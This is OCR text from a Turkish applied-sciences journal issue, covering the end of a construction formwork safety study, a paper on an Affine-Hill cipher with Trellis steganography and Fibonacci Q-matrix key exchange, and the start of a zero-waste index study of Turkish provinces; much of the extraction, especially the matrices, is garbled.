Ahsap kalip kurulum, kullanim ve sokiim islemlerinde (Tablo 13); MYK belgesine
sahip olmayan personellerin kalip isinde g¢alismasi, uygunsuz hava kosullarinda calisma
yapilmasi, statik hesaplamalarin olmamasi, kalip alt1 destek elemanlarinin standart dis1 olmasi
veya yeterli olmamasi, alt kotta tasiyict elemanlar tamamlanmadan iist kotta calisma
yapilmasi, kurulum ve sokiim islerinin talimatina uygun yapilmamasi hallerinde risk teskil
ettigi gozlemlenmistir. Calismalarin ehil personeller tarafindan, is talimatina uygun olarak

gerceklestirilmelidir.

43




Tablo 13. Ahgap kalip kurulum, ¢aligma, s6kiim aragtirma bulgular ve ¢6zliim Onerileri

Uygunsuzluk/Gézlem Aciklama

Tespit Gorseli

Ahsap kalip ekibinin ¢ati alanindaki
caligmalart i¢in, tiinel kalibin son kattaki
iskelesinde ¢aligma yaptig1 ve bu sebeple
de tiinel kalip iskelesindeki olas1 kurulum
hatalarindan, tastyici iskelenin dis iskeleye
kurulumu yapilmasi sebebiyle malzeme
sevkiyat1 sirasindaki tehlike kaynaklarina
maruz kalindigr ayrica, personellerin
alanda emniyet kemeri de kullanmadigi
tespit edilmistir.

Kalip  alt1  teleskopik  dikmelerin

standartlara uygun olmamasi.

Diizeltici/Onleyici Faaliyet

Tiinel kalip iskeleleri tam ve eksiksiz
kurulmalidir. Kalip iskelelerindeki toplu koruma
tedbirlerinden olan giivenlik aglar1 ¢aligma Oncesi
temin edilerek, takilmasi saglanmalidir.
Tasiyabileceginden fazla agirlik konulmamali,
malzeme sevki sirasinda kaldirma
operasyonlarindaki tedbirlere uyulmalidir. Tim
yiiksekte planlanan caligmalar i¢in uygun ankraj
noktalar1  saglanarak, personellerin emniyet
kemeri ile ¢aligmalart saglanmalidir.

Kalip alt1 teleskopik ¢elik dikmeler kullanim
oncesi kontrol edilmelidir. TS EN 1065
standartlarina uygun saglanmalidir.

Tablo 14. Sosyal tesisler arastirma bulgular1 ve ¢oziim 6nerileri

Uygunsuzluk/Gézlem Ac¢iklama Tespit Gorseli

Diizeltici/Onleyici Faaliyet

yeri, giysi  dolabi, j
ayakkabilik olmamasi, oda

kapilarmin st kisminin  camli §
olmamasi, acil durum yonlendirme

levhalarinin yetersizligi

Soyunma

Personellerin  kiyafetlerini, ayakkabilarini koyabilecekleri

- | yonetmelige uygun dolap temini yapilmalidir. Olasi acil

durumlarda takilmaya, diismeye sebebiyet verebilecek
malzemeler gegis alanlarinda bulunmamalidir. Kapilarin st
kismu hol alanindaki aydinlatmadan yararlanilmasi igin caml

. olmalidir. Sinek, bécek vb. korunmak i¢in camlara sineklik

takilmalidir. Acil durum ydnlendirme isaretleri kesintisiz
saglanmalidir.

Banyo  kapilarinin  olmamasi,
camagirthane ve 1{itl  yerinin
bulunmamasi

Temizlik agisindan tiim alanlarda oldugu gibi kisisel
temizlikte olduk¢a Onemlidir. Bu sebeple, iscilerin
camagirlarini yikayabilecekleri ¢amagsirhane ve {itii yerini
bulunmast  saglanmalidir. Ortak  kullanim  alanindaki
banyolara kap1 temin edilmelidir.

sinir  degerlerden fazla personel
kalmasi, tertip diizen eksikligi

Odada bulunan personellerin her birine, hava hacmi en az 12
metrekiip olarak belirlenmelidir. Bu smir deger Covid-19
kapsaminda da degerlendirilerek daha az kisi sayist temini
yapilmast  bulag  riski  agisindan  degerlendirilmesi
gerekmektedir. Alanda tertip diizen saglanmalidir. Alanda
temizlik yapilarak giinliikk olarak yapan personelin kaydi
tutulmalidir.

Personellerin oda igerisinde, ketil,
cayct ve 1sitict kullandigr tespit
edilmistir

Hem yatma kalkmanm hem de dinlenmenin ayni kogusta
yapilmasi, farkli saatlerde ve farkli bigimlerde dinlenme
gereksinmesi olanlar i¢in sorun yaratabilmektedir. Odalarda
cay, kahve, yemek, elektrikli 1siticilar, sigara kullanilmasi vb.
yapilmast uygun degildir. Fiste birakilan iiriinler ile sigara
yangina sebebiyet verebilmektedir.

Cop kovasi agik

birakilmasi

kapaklarimnin

Cop kovalarinin iginde tek kullanimlik posetler kullanilarak
kapaklart kapali olmalidir. Kovalarinin diizenli olarak
dezenfektanlarla temizlenmesi gerekmektedir.

Yemekhanede tabure kullanilmasi,
yemekhane camlarin da sineklik
eksikligi

Isci sayisina uygun yeterli say1 ve aralikta sandalye temin
edilmelidir. Tabure yerine sandalye temini yapilmalidir.
Mutfak girisleri siirekli olarak kapali tutulmalidir. Pencereler
kapali olmali ya da sineklik bulunmalidir.
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Sosyal tesislerde (Tablo 14); yonetmelige uygun sosyal alanlar olusturulmamasi, acil
durum ekipmanlarin olmamasi/eksik olmasi ve ilaglama yapilmamas1 hallerinde risk olustugu
gozlemlenmistir. Tiim sosyal alanlar yonetmelikte gecen asgari sartlar1 saglayacak sekilde

tesis edilmeli ve gerekli hijyen sartlari siirekli saglanmalidir.

Tablo 15. Diger arastirma bulgular1 ve ¢oziim Onerileri

Uygunsuzluk/Gézlem Ac¢iklama Tespit Gorseli Diizeltici/Onleyici Faaliyet

Tim malzemeler devrilmeyecek sekilde bulundurulmalidir.
Miicbir durumlarda mutlaka stoper vb. ile sabitlemesi
yapilmalidir.

Olumsuz hava sartlarinda
sabitlenmemis malzemeler

Birbirini  etkileyebilecek  alt-iist
calismalarda planlama eksikligi

Tim ¢alismalar saglik ve giivenlik yoniinden birbirini
etkilemeyecek sekilde planlanmalidir.

Saha alaninda higbir sebeple ates ¢ikarilmamalidir.
Saha alaninda agik ates ¢ikarilmasi

Calismalarin birbirini [
etkileyebilecek sekilde olmasindan | =%
kaynakli planlama eksikligi

Tim c¢aligmalar saglik ve giivenlik yoniinden birbirini
etkilemeyecek sekilde planlanmalidir.

Tablo 15 de belirtilen; olumsuz hava sartlarinda sabitlenmemis malzemeler, birbirini
etkileyebilecek alt-iist calismalarda planlama eksikligi, saha alaninda agik ates ¢ikarilmasi ve
caligmalarin birbirini etkileyebilecek sekilde olmasindan kaynakli planlama eksiklileri risk
teskil eden durumlardir. Tiim malzemeler sabitlenmeli, saha alanlarinda higbir sebeple ates
yakilmamasi ve birlikte yapilan ¢alismalarin ISG sartlarina uygun sekilde planlanmasi

gerekmektedir.

Sonug¢ ve Tartisma

Calismada biiytik 6lgekli bir konut ingaatinda ahsap kalip ve tiinel kalip ekiplerinin is ve
calisma ortamindan kaynakli olasi tehlike kaynaklari gozlemlenerek ¢6ziim Onerilerinde
bulunulmustur. Kalip ekiplerinde en yiiksek risk olarak yliksekte ¢alismalar ve kaldirma
operasyonlarindaki tehlikeli durum ve hareketlerden kaynakli basta olmak {izere, mesleki
anlamda gerekli bilgi eksikliginden ve olumsuz ¢alisma kosullarindan da kaynakli risklerden
kaynaklandig1 gdzlemlenmistir. Istihdam edilen personellerin yasal zorunluluk olan ISG

egitimlerine ek olarak, mesleki gerekliliklerini yerine getirebilmesi icin 6zel egitime sahip
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olmalar1 gerekmektedir. Giinay (2020) ve Kaya (2021)’ in ¢alismalar1 da kalip ekiplerine
yonelik belirlenen tehlike kaynaklarini benzer sekilde ele aldiklari goriilmiistiir. Bu durum
literatiir deki diger ¢aligmalar da paralellik gostermektedir.

Biiytik ¢apli konut projelerinde taahhiit edilen siirelerde insanin teslim edilebilmesi igin;
ekiplerin es zamanli ve olagandan hizli ¢alismasi gerekmektedir. Bu durum mevcut
tehlikelere ek olarak baska tehlikelerinde olusmasina neden olmaktadir. Ornegin; blok
insaatinda bir kata tiinel kaliplar kule ving ile iletilip kurulum yapilirken, kaldirma yapilan
alanda demirci ekipleri ¢alisabilmekte, ahsap kalip ekibi tiinel kalip ekibinin alt kotunda
calisabilmekte, hatta siirecin gidisatina gore ince, mekanik, elektrik ve peyzaj ekiplerinin de
etkilenebilecek alanlarda caligmalar1 olabilmektedir. Ahsap kalip ve tiinel kalip sisteminde
calisanlarin, saglikli planlama yapilmamasi sebebiyle kendi islerinden kaynakli risklere ek
olarak birbirlerinin ve ¢evredeki calismalarin risklerine de maruz kaldigi goézlemlenmistir.
Caligmalar biitiinciil olarak ele alinmali birbirini giivenlik yoniinden etkilemeyecek sekilde

planlama yapilmalidir.

Cikar Catismasi1 Beyam

Makale yazarlar aralarinda herhangi bir ¢ikar ¢atigsmasi olmadigini beyan ederler.

Arastirmacilarin Katki Oram Beyan Ozeti

Yazarlar makaleye esit oranda katki saglamis olduklarin1 beyan ederler.
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Research Article ABSTRACT
Avrticle History Affine-Hill Cipher is a symmetric key cryptographic algorithm. There are
Received: 13.07.2023 many studies in the literature to overcome the disadvantages of the
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| : symmetric key which is called the secret key and used both for
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encryption and decryption. In this work, we proposed a secret key
generated by using Fibonacci Q matrices and Trellis-based

Keywords: . steganographic method. Our work includes iterative keys, one based on
Fibonacci Q matrices the generalized Fibonacci Q matrix and the other based on Trellis
i}?f?ggfﬁirﬁpc?yher steganography method. What makes this work special is that knowing the
Trellis P secret key is not enough to decrypt it.

Symmetric key

Genellestirilmis p-Fibonacci Q matrisleri ve Steganografi ile Bir Afin-Hill Sifreleme
Uygulamasi

Arastirma Makalesi 0z
Makale Tarihgesi Afin-Hill sifrelemesi simetrik anahtarli kriptografik bir algoritmadir.
Gelis Tarihi: 13.07.2023 Literatiirde, gizli anahtar ad1 verilen ve hem sifreleme hem desifreleme

Kabul Tarihi:20.09.2023

! i¢in kullanilan simetrik anahtarin dezavantajlarinin {istesinden gelmek
Online Yayinlanma: 08.03.2024

i¢cin Onerilmis bir¢ok ¢aligma bulunmaktadir. Bu ¢alismada, Fibonacci
Q matrisleri ve Trellis tabanli steganografik kullanilmasi ile tiretilen bir
gizli anahtar Onerilmistir. Caligmamiz biri Fibonacci Q matrislerine
digeri ise Trellis steganografi metoduna dayali tekrarli anahtarlar

Anahtar Kelimeler
Fibonacci Q matrisleri

Steganografi
Aff?n-H?ll sifresi icermektedir. Caligmay1 6zel kilan sey, gizli anahtarin bilinmesinin
Kafes desifre i¢in yeterli olmamasidir.

Simetrik anahtar

To Cite: Civi Bilir G, Altikol 1., 2024. An affine-hill cipher application with the p-generalized fibonacci Q matrices and
steganography. Kadirli Uygulamali Bilimler Fakiiltesi Dergisi, 4(1): 48-59.

Introduction

Hill cipher was invented by Lester S. Hill in 1929, is the first polygraphic substitution
based on Linear Algebra. In 1931, L.S. Hill extended Hill Cipher by using the affine
transformation. In Hill encryption and decryption, the same invertible key matrix is used

(Stallings, 2017). Therefore, it must be secured and protected. In many studies, the different
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procedures have been applied to increase the security. Various researchers gave new forms to
improve those that already exist results by using the principles of linear algebra. Viswanath
and Kumar proposed a public key cryptosystem involving two digital signatures for Hill’s
cipher (Viswanath and Kumar, 2015). Then, Sundarayya and Prasad (2019) proposed a
system involving two or more digital signatures under modulation of prime numbers. An
algorithm for Affine-Hill cipher in which the key was taken as the reflection on a line y =
ax + b is used by Prasad et al. (2016). In the literature, there are also articles that use
Fibonacci sequences for the Affine Hill Cipher, reducing time complexity and increasing
security. One of these works was to exchange the order and the power of multinacci matrices
instead of exchanging key matrix (Ugar et al., 2019; Prasad and Mahato, 2021). Finally, very
recently, Billore and Patel (2023) proposed an extended generalized Fibonacci matrices and
modified a public key for Affine-Hill Cipher by using extended generalized Fibonacci
matrices).

In this article, a new key exchange model in which the determined key is first hidden by
a Trellis-based steganography method, then iterated by using the p- generalized Fibonacci Q
matrices and finally transmitted to the receiver as the secret key is proposed.

Steganography is the art of the concealing of confidential or non-confidential data
within a message or a video or an object. It is originally derived from the ancient Greek words
Steganos meaning secret, and graphia meaning writing. Therefore, it is sometimes compared
to cryptography but in reality, they are different. In cryptography data is transmitted to the
receiver after encrypted by using various ways. Whereas no encryption or decryption is used
in steganography. So, it can be defined as “covered writing” and cryptology as ‘“secret
writing” (Kahn, D., 1996). In our paper we use one of the steganography method called

Trellis.

Fibonacci Q Matrices
The sequence {F,} defined by the recurrence relation
E,=F,_,+F,,, n=>2, (1)
where F, = F, =1 is known as the second order Fibonacci sequence (Bruggles and
Hoggat,1963), (Hoggat, 1969), (Koshy 2018). Thus, the Fibonacci sequence is the series of
the numbers
0,1,1,2,3,5,...,8,13,21,34, ...

Now, we consider the recurrence relation given by
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fasp = fat fosr+ o+ fosp-1, DPEZT 2
where fo =fi = =f2=0,f.1=1.

Setting p = 2 we find the Fibonacci sequence given by (1).

Setting p = 3 we find the recurrence formula

fors=hht et H=1=0, =1,
which defines the Tribonacci sequence.

By setting p=4,p=5 p=6,p=7 p=8, p=9 in (2), we find Fibonacci
sequences called Tetranacci, Pentanacci, Hexanacci, Heptanacci, Octanacci and Enneanacci
sequences, respectively.

For any p € Z* , the sequence defined by (2) is called the p-generalized Fibonacci

sequence or Multinacci sequence of order p. By rewriting (2) in the vectoral form found as

follows:
[fn+p ] [ nt fae1 T ---+fn+p—1] [1 1 1 - 1 1-| [fn+p 1‘|
|fn+p 1| | fa+p-1 | [1 0 0 .. 0 O] |fn+p 2|
: =] : I=|s S U .|I l, (3)
[fn+2| l fn+2 J lO o 0 - 0 1J fn+1 J
fn+1 fr+1 0 0 O 1 0 fa
where the matrix denoted by
[1 1 1 - 1 1]
[1 0 0 .. 0 Of
Q=1 + + =~ i il
[0 o o0 - 0 1J
0O 0 0 .. 1 0

is a pxp matrix and it is called the p —generalized Fibonacci Q matrix (Stakhov, 1999).

The sequence obtained by setting p = 2 in (3) gives the matrix defined as the Fibonac-

-l 5
1 F K

The Fibonacci Q matrix was first used by Brenner (1951) and the basic properties of the

ci Q matrix

matrix were given by King (1960).
In this article we used the Multinacci Q matrix of order p to exchange the secret key for
Affine Hill-Cipher.
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Trellis Steganography Method

One of the methods of steganography used in secret communication was to hide
messages by writing them on stencils (Civi Bilir, 2023). One such variation, called Trellis,
which resembles a chessboard, was used by Sir Francis Walsingham (1530-1590) who was a
spymaster in the Elizabethan (Kahn, 1996).

To conceal the letters of the plaintext to a Trellis stencil, the following steps are
performed.

Step 1. Trellis board similar to the chessboard is taken in the wrong position.

Step 2. Each letter of the plaintext is written in a single white cell as vertically.

Step 3. After filling in 32 letters, the board is turned through in the clockwise direction
by 90 degrees.

Step 4. Each of the remaining letters is written in a single white cell vertically.

Step 5. If the plain text is shorter than 64, the remaining cells are filled up with null
letters. If the plain text is longer than 64 letters, we require another turn of the board.

Step 6. The hiding process is completed by reading the 64 letters on the cells from left
to right horizontally.

Example of Trellis Method
Let us consider the plaintext from Mevlana’s wise words as

“In compassion and grace be like a sun, in modesty and humility be like earth”

O BN O Ol B b0 o

T

N S 1 A L E H
D A N Y L A |
C T o | C | A J
E S H G B 1 R N
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After following the steps of the Trellis method, the ciphertext is obtained as

“MMAAIBEUIESUREKTOPNNTEENNSIMALEHDANDYLAICTOICIAESHGBIR
NOYNLEKSJ”

The Proposed Method

In this paper an application for Affine-Hill cipher with iterated keys is given. The main
aim of our work is to transmit the key by exchanging it in two steps. We first applied the idea
used in Trellis to conceal the key and then we constructed the exchanged key by using the
multinacci Q matrices of order p.

Consider Alice’s message as “Where are you?”. Alice wants to send her message to
Bob. Now, we explain our proposal in the following steps:

A. Encryption
Step 1. Alice chooses her key. Let it be “Hello everyone”.

By using the following conversion table, the corresponding key matrix is constructed as

7 4 11 11

Ko 14 4 21 4
17 24 14 13|’
4 26 26 26

where the number 26 is used to represent the null character.

Step 2. Alice takes the shifting vector B as any column of the matrix K. Let it be

7
14
B=117
4

Step 3. Alice encrypts her message by using the Affine Hill cipher algorithm. In

encryption mode E with the key matrix, she finds the ciphertext C that converts the plaintext
P, where C = E(P,K) .

By applying the Affine-Hill algorithm over Z,,, we use
C; = KP; + B (mod 27),

where
w E Y
_|H _|A _ |0
pl E ) p2 R’ p3 U
R E N

and corresponding vectors are
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22 4 24

_|7 _10 14
Pl - 4 ) PZ 17 ! P3 20
17 4 26

according to the conversion table.

Table 1. Conversion Table

Thus, the cipher blocks are obtained as

7 4 11 111 [221 [71 [420] [15]
|14 4 21 4 7 14| 502 |16
€= 17 24 14 13| | 4|7 |17/ = [836 (mod 27) = 26|
4 26 26 26] 171 4] 1820] 10
(7 4 11 111 [41 [7]1 [266] (23]
|14 4 21 4 0 14| _ |443 |11
C2=117 24 124 13| |17| T (17| = [375|(Mm0d27) =[5,
4 26 26 261 L4l L4] |566. 26
7 4 11 111 [24 7 737 (8]
|14 4 21 4| |14 14| | 930 |12
Cs = 17 24 14 13| (20 + 17| 1379 (mod 27) = 21"
4 26 26 26] 126 4 1660 [13]
which give the cipher blocks as
P X I
L M
C1 = g , Cp = Y and C3 = C y
K 9 N

respectively. Finally, the plaintext is converted to the ciphertext “PQKXLYIMCN”.

B. Key Exchange

Step 1. Determine the number n and construct a Trellis stencil sized 2mx2m, where

n? =m+q, m and q are the key length and the number of the null characters in the key
matrix K, respectively.

Step 2. Construct a Trellis stencil and take it in the wrong position. Next, input mT-I-q

letters of the key into the stencil, vertically.
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Step 3. Rotate the stencil 90 degrees, clockwise and input the remaining letters,

vertically. If the length of the key is less than g choose a null character to fill up the

squares.

Step 4. By reading from left to right, complete the steganography process.

R E |V
H| O] O] 38
Y S E
E | N | E S

Step 5. Determine the corresponding matrix K by using Table 1.

17 11 4 21
7 14 14 26
24 11 26 4
4 13 4 26

Step 6. Consider the number p = 2m and construct the multinacci matrix of order p as
follows
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1 1 1 1

|1 0 0 O

Qq = 01 00

0 01 O

Step 7. Calculate Kr = Kr — @, as

16 1 1 1
1 0 0 O
KF:KT_Q4-: O 1 O O
0O 0 1 O

Step 8. Find key text corresponding the matrix Kx
Kz : QKDUGOOYEENDY
Step 9. Transmit the pair (C, Kg) to the receiver.
C. Decryption

Stepl. Define the key length as p and construct the generalized Fibonacci matrix of

order p as follows

Q4 =

©C O R R
O R O R
_ OO R
o oo R

Step 2. Calculate Ky = K + Qp, as

17 11 4 21
7 14 14 26
24 11 26 4
4 13 4 26

Kr =Kp+ Q4 =

Step 3. Find the corresponding matrix as follows

R|L|E V
H|O O 9§
Y| L | 9§ | E

E|N|E| S

2

Step 4. Construct a Trellis stencil with n? —cells. Then, input the "7 letters
corresponding to the white squares of the stencil, horizontally.
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Step 5. Rotate the Trellis stencil 90 degrees, counter clockwise and input the remaining

letters, to the white squares of the stencil, horizontally.

Step 6. Determine the secret key by using the Step 5 and Step 6:
“HELLO EVERYONE”
Step 7. Write the corresponding key matrix as

7 4 11 11
14 4 21 4
17 24 14 13
4 26 26 26

K=

Step 8. Decrypt the ciphertext using the Affine-Hill algorithm. In decryption mode D
with key K to recover P use P = D(C,K) = K~'C (mod 27).
Thus, we solve the message as “WHERE ARE YOU?”

In the following Figure we give the encryption algorithm with iterated keys.
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®
w Alice

Key: Hello
everyone

Plaintext:
Where are you?

'i‘ Bob

—
Trellis

Hidden Key:
Kr=RLEVHOOJYLJEENEY

Encryptionl

 ———

Alice's Secret Key: K

KF:KT_Qp

Ciphertext:
PQUKXLYJIMCN

l

Kg : QKDUGOOYEEND®

l

Construction of Qgand
calculation of K;=Ky+Q,

l

Detection of hidden key:
Hello everyone

l

Decryption plaintext by using
P= K ''C (mod27):
“Where are you?”

Figurel. The Proposed Algorithm with Iterated Keys

Comparisons and Conclusion

In the original form of the Affine-Hill’s cipher, Alice and Bob agree on a common
shared key used to encrypt and decrypt, but the main difficulty of the symmetric key is a
problem of key transmission. For this reason, in recent decades Affine-Hill cipher are not
limited to symmetric key. There are many articles based on public key cryptosystem.

The main result of the present article can be summarized as a new proposal for Affine-

Hill cipher involving exchanged key via firstly with Trellis-based steganography method and

multinacci Q matrices of order p.
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: gerekliligini ortaya koymaktadir. SA (SA) kavrami, meydana gelen tiim bt
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problemlerin ¢ézliimiine odaklanan bir strateji sunmaktadir. SA projesinir
: Tiirkiye’de  yayginlagsmasiyla, 2035’¢ kadar geri kazanimin %060’
Anahtar Kelimeler cikarilmas: hedeflenmektedir. Ulkemizin SA ile ilgili hedefleri dikkate

gt;k ybietimi alindiginda; atik ydnetim performansim degerlendirme araci olan SA indeks:
Si fﬁ :Ek indeksi (SAQ)nin rolii oldukga kritiktir. Bu caligmada, Tiirkiye’nin 7 bdlgesinir

Geri dénilsiim TUIK 2020 verilerine gore en kalabalik illeri olan Ankara, Antalya, Istanbul
Tiirkiye Izmir, Samsun, Sanliurfa ve Van segilerek bu illerin kotimser (atik geri
doniigiimil yapilmadan sadece niifus artigina bagli) ve iyimser (atik yonetimi
2035 yili hedefindeki %60 atik doniisiim verimine dayali)sema olmak tizerc
iki farkli senaryoya gore 2035 yili igin SAI degerleri hesaplanmustir. Elde
edilen veriler; 2020 y1li kotiimser senaryoya gore Ankara, Antalya, Istanbul
[zmir, Samsun, Sanlurfa ve Van illeri i¢in strastyla 0,27, 0,18, 0,06, 0,16,
0,15, 0,17 ve 0,15 iken 2035 yilindaki kotiimser ve iyimser senaryolara gore
SAI degerleri sirasiyla 0,22-0,30; 0,25-0,40; 0,04-0,32; 0,23-0,36,0,24-0,29
0,25-0,45 ve 0,24-0,31 olarak hesaplanmistir. Yant sira, SAI, kentsel kati atik
kaynaklardan kaynak geri kazanimi sayesinde sera gazi, potansiyel enerji v¢
su tasarrufu tahmininde de kullanilmistir. Mevecut calismada elde ediler
veriler dikkate alindiginda, SAi’nin yenilikgi bir arag olarak SA kapsamindz
atik yonetim performansimin iyilestirilmesi ve malzemelerin ikamesinde
kullanilabilecegi dngoriilmektedir.

Examination of Zero Waste Approach in Municipal Solid Waste Management in Tiirkiye
Using Zero Waste Index

Research Article ABSTRACT

Article History: Natural resources rapidly consumptions and the devastating consequences of
Received: 07.08.2023 climate change reveal the necessity of proper planning of both resource use and
Accept: 29.10.2023 waste management. The concept of zero waste (ZW) offers a strategy that

Available online: 08.03.2024 focuses on solving all these problems. With the spread of the ZW project

throughout Turkey, the aim is to increase the recovery rate to 60% by 2035.

\Ij\;aywords: Considering the targets of our country regarding ZW; the role of the zero waste
aste management ) I . -
Zero waste index (_Z_WI), Whl_ch is a waste management performance evaluation tool, is
Zero waste index very critical. In this study, Ankara, Antalya, Istanbul, Izmir, Samsun, Sanliurfa
Recycling and Van, which are the most populous provinces of 7 regions of Turkey
Tiirkiye according to TUIK 2020 data, were selected and these provinces were chosen

as pessimistic (only regarding population growth, no waste recycling) and
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optimistic (60% of waste recycling as a ZW strategy of 2035). ZWI values
were calculated for the year 2035 according to two different scenarios based on
pessimistic and optimistic scenarios. The data obtained are 0.27, 0.18, 0.06,
0.16, 0.15, 0.17 and 0.15 for the provinces of Ankara, Antalya, Istanbul, izmir,
Samsun, Sanlurfa and Van in pessimistic scenario in 2020, respectively.
According to the pessimistic and optimistic scenarios of the year, the ZWI
values were obtained as 0.22-0.30; 0.25-0.40; 0.04-0.32; 0.23-0.36, 0.24-0.29;
0.25-0.45 and 0.24-0.31, respectively in 2035. Furthermore, greenhouse gas
(GHG), water savings and potential energy which comes from resource
recovery of municipal solid wastes are predicted by applying ZW1. Considering
the results obtained in the study, it is estimated that ZWI can be applied as
acreative tool in the examination of waste management performance and

material substitution by a management systems of solid wastes.

To Cite:Dogdu Yiicetiirk G, Alkan SN., 2024. Sifir atik indeksi kullanilarak Tiirkiye’deki kentsel kati atik yonetiminde sifir
atik yaklagiminin incelenmesi. Kadirli Uygulamali Bilimler Fakiiltesi Dergisi, 4(1): 60-88.

Giris

Diinya genelinde asir1 niifus artis1 ve kentlesme; smirli dogal kaynaklarin hizla
tilketilerek yetersizlesmesine ve buna bagli atik olusumu neticesinde cevresel kaygilarin
artmasina neden olmaktadir. Kiiresel 6lgekte degerlendirildiginde, her tiirli atigin hizla artis
cevreye olan olumsuz etkileri her gegen giin artirmakta ve sorunun ¢ozimiinii
zorlagtirmaktadir. Atik yonetimi, tim bu olumsuz etkilerin azaltilmasi ve ¢6ziime yonelik
adimlarin atilmas1 asamasinda kritik rol tistlenmektedir.

Atik yonetimi felsefesi ve entegre tasarimin bir kompozisyonu olan sifir atik (SA), atik
miktarini1 azaltmak, mevcut atiklarin geri donlisim asamalarindan gegirilerek yeniden
kazanmak ve tiim bu siirecleri bir sistem igerisinde degerlendirmek olarak ifade edilir (URL-
2). Ulkemizde SA Projesi; 2017 Haziran’da Cevre, Sehircilik ve Iklim Degisikligi Bakanlig
tarafindan Ankara pilot il belirlenerek baglatilmig, konu ile ilgili yasal diizenlemeler;
12.07.2019 tarih ve 30829 sayili Resmi Gazete’de yayimlanarak yiiriirlige giren SA
Yonetmeligi ile yapilmus, ilgili yonetmelik 16.10.2021 tarihinde revize edilmistir(URL-1).Bu
kapsamda SA yonetimini {ilke genelinde yayginlastirmak {izere; mahalli idareler,
havalimanlari, limanlar, is merkezi ve ticari plazalar, aligveris merkezleri, sanayi tesisleri,
egitim kurumlar1 ve yurtlar, konaklama tesisleri, saglik kuruluslari gibi pek c¢ok alanda
uygulama zorunlu hale getirilmistir.SA kitabi, iilkemizde siirdiiriillen SA hareketinin 5. yilina
atfedilerek 21 makaleden olusan kapsamli bir calisma sunmaktadir (T.C. Cevre, Sehircilik ve
Iklim Degisikligi Bakanligi, 2022).

Ulkemizde SA iyi uygulama &rnekleri olarak Kepez Belediyesi (Antalya), Haliliye
Belediyesi (Sanliurfa), Kizilcahamam Belediyesi (Ankara), Beykoz Belediyesi (Istanbul),
Selcuklu Belediyesi (Konya), Karatay Belediyesi (Konya), Zeytinburnu Belediyesi (istanbul)
sunulmustur. Yapilan uygulamalar su sekildedir (URL-3):
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Kepez Belediyesi (Antalya) Israf Olmasin Mama Olsun Projesi 20/07/2023: Proje
kapsaminda, belediye hizmet binasi yemekhanesi, belediye kresleri, okullar,
hastaneler ve cezaevlerinden kaynakli yemek atiklar1 belediye ekiplerince giinliik
toplanarak kedi ve kdpek mamasi iiretimi gerceklestirildigi; 20 tondan fazla yemek
at1g1 toplanarak yaklasik 4,5 ton mama tiretimi saglandig: belirtilmistir.

Haliliye Belediyesi (Sanlurfa) SA Tesvik Market Projesi 12/07/2023: Proje
kapsaminda, il¢ede yasayan vatandaglarin atiklarimi ayri1 biriktirmeleri tesvik
edilerek kurulan “Atigin Sifir Noktas1 SA Tesvik Market”lerinden atik miktarlarinin
kilogram karsiliklart belediye tarafindan verilen karta puan olarak yliklenmektedir.
Proje ile yaklagik 1.000.000 kg geri kazanilabilir atik toplandig1 agiklanmastir.
Kizilcahamam Belediyesi (Ankara)Cevre Puan Projesi 20/06/2023:Proje
kapsaminda, atiklarin kaynaginda ayri toplanmasi tesvik edilmesi amaglanarak
toplanan atik tiir ve miktarlarina gére vatandaslara aligverislerinde kullanabilecekleri
puan yiiklenmektedir. Proje sayesinde, SA Bahgesi ile 1 yilda yaklasik 83 ton geri
kazamlabilir atik; Depozito lade Uygulamasi ile 10 ayda 121 bin cam sise, 300 bin
pet sise, 25 bin teneke kutu, 44 ton icecek ambalaji; SA Otobiisii ile 29,5 ton geri
kazanilabilir atik toplandig1 belirtilmistir.

Beykoz Belediyesi (istanbul)Ardi¢c Sofras1 31/05/2023: Proje kapsaminda, Beykoz
ilcesinde biyobozunur atiklarin geri kazanilmasi ile organik atik kaynaklh
karbondioksit emisyonu azaltilmas1 amaglanmistir. Proje sayesinde, 1.642.331,4 kg
biyobozunur atigin geri kazanildigi aciklanmistir.

Selguklu Belediyesi (Konya)Atik Kumbaram & Geri Doniisiimde Hayat Var
23/05/2023: Atik Kumbaram Projesi kapsaminda, vatandaslarin atiklar1 kaynaginda
ayr1 toplamasi tesvik edilerek Atik Kumbaram Kartlarina TL yiliklemesi
yapilmaktadir. Bu proje sayesinde, 10 ayda yaklasik 202 ton geri kazanilabilir atik
toplandig1 belirtilmistir. Geri Doniisimde Hayat Var projesi kapsaminda, Selguklu
Belediyesi smirlar1 ig¢indeki parklardan ¢ikan ¢im, aga¢ vb. ile semt pazar1 ve
toptanct  halinden ¢ikan biyobozunur atiklardan kompost elde edilmesi
amaclanmistir. Bu proje sayesinde, 2022 yilinda 1.060 ton kompost elde edildigi
ifade edilmistir.

Karatay Belediyesi (Konya)Atigin Sifir Noktas1 18/05/2023: Proje kapsaminda,
vatandaslarin atiklar1 kaynaginda ayr1 toplamasi ve karsiliginda aldiklar1 puana gore

hediye sunulmaktadir. Bu proje sayesinde, 464.559 kg atik toplandig1 agiklanmistir.
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e Zeytinburnu Belediyesi (Istanbul)Atik Kazang 03/05/2023: Proje kapsaminda,
vatandaglarin atiklar1 kaynaginda ayr1 biriktirmesi ve buna karsilik kartlarina
yiiklenen miktarlar1 aligveriglerinde harcamasi hedeflenmistir. Proje sayesinde, 2,5
yilda yaklagik 5.700 ton geri kazanilabilir atik toplandig1 belirtilmistir.

Yapilan caligmalar degerlendirildiginde, belediyelerin SA yoOnetiminde kritik rol
oynadigi ve vyapilan projelerle vatandaslarin SA konusunda bilinglendirilirken tesvik
edilmesiyle olumlu sonuglar elde edildigi goriilmektedir.

SA yo6netiminin etkilerini degerlendirme noktasinda SAI’nin incelenmesi énemli veriler
saglamaktadir. SAI, atiklardan geri kazanilan bakir malzeme, enerji, su ve sera gazi
emisyonlarmin miktarin1 tahmin eder. Bu aciklamadan yola c¢ikildiginda SA ydnetim
siirecinin ve sonuclarinin etkileri ve katkilarmin potansiyelini tespit etmede SAI rolii
onemlidir. Zaman ve Lehmann (2013), yaptiklar1 arastirmadaStockholm, Adelaide ve San
Francisco gibi kentlerin SAI degerlerini sirasiyla 0,17, 0,23 ve 0,51 olarakhesaplamus;
SAI’'nin kentlerdeki atik yonetimi performansi ve atik yonetim sistemleri ile malzeme
degerlendirilmesi i¢in yenilik¢i bir ara¢ oldugunu aciklamislardir. Yapilan bir arastirmada
Endonezya islam Universitesi i¢in SAI degeri 0,26 olarak hesaplanmistir (Kasam Iresha ve
Prasojo, 2018). Christiady ve ark. (2021), Bandung kenti SAT’yi 0,05 olarak belirtmislerdir.

Tiirkiye’de SA ile ilgili c¢alismalar bulunmakla birlikte; SAI hesaplamasi ve
